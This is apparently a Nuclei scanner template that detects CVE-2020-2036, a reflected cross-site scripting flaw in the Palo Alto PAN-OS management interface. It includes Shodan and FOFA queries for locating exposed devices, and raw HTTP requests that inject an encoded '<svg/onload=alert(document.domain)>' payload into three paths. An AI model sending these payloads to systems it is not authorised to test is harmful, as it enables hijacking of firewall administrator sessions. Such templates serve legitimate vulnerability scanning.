id: CVE-2020-2036

info:
  name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting
  author: madrobot,j4vaovo
  severity: high
  description: |
    PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Palo Alto Networks to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
    - https://security.paloaltonetworks.com/CVE-2020-2036
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2036
    - https://github.com/404notf0und/CVE-Flow
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-2036
    cwe-id: CWE-79
    epss-score: 0.2389
    epss-percentile: 0.97602
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
  tags: cve2020,cve,vpn,xss,paloaltonetworks,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /global-protect/login.esp HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - "GlobalProtect"
          - "gp_portal"
        internal: true
        condition: or

  - raw:
      - |
        GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(body_1), '<svg/onload=alert(document.domain)>')"
        condition: and

      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(header_2, 'text/html') && contains(tolower(body_2), '<svg/onload=alert(document.domain)>')"
          - "status_code_3 == 200 && contains(header_3, 'text/html') && contains(tolower(body_3), '<svg/onload=alert(document.domain)>')"
        condition: or
# digest: 4a0a004730450220523fff7c6e3b9f5dd40d5751434ad7adc5e755777245cbc36785fa631434f76c022100ec88bbf1905da604f8c919d279dbe976647a367fbddbb1c8a9d6b7f1973df288:922c64590222798bb761d5b6d8e72950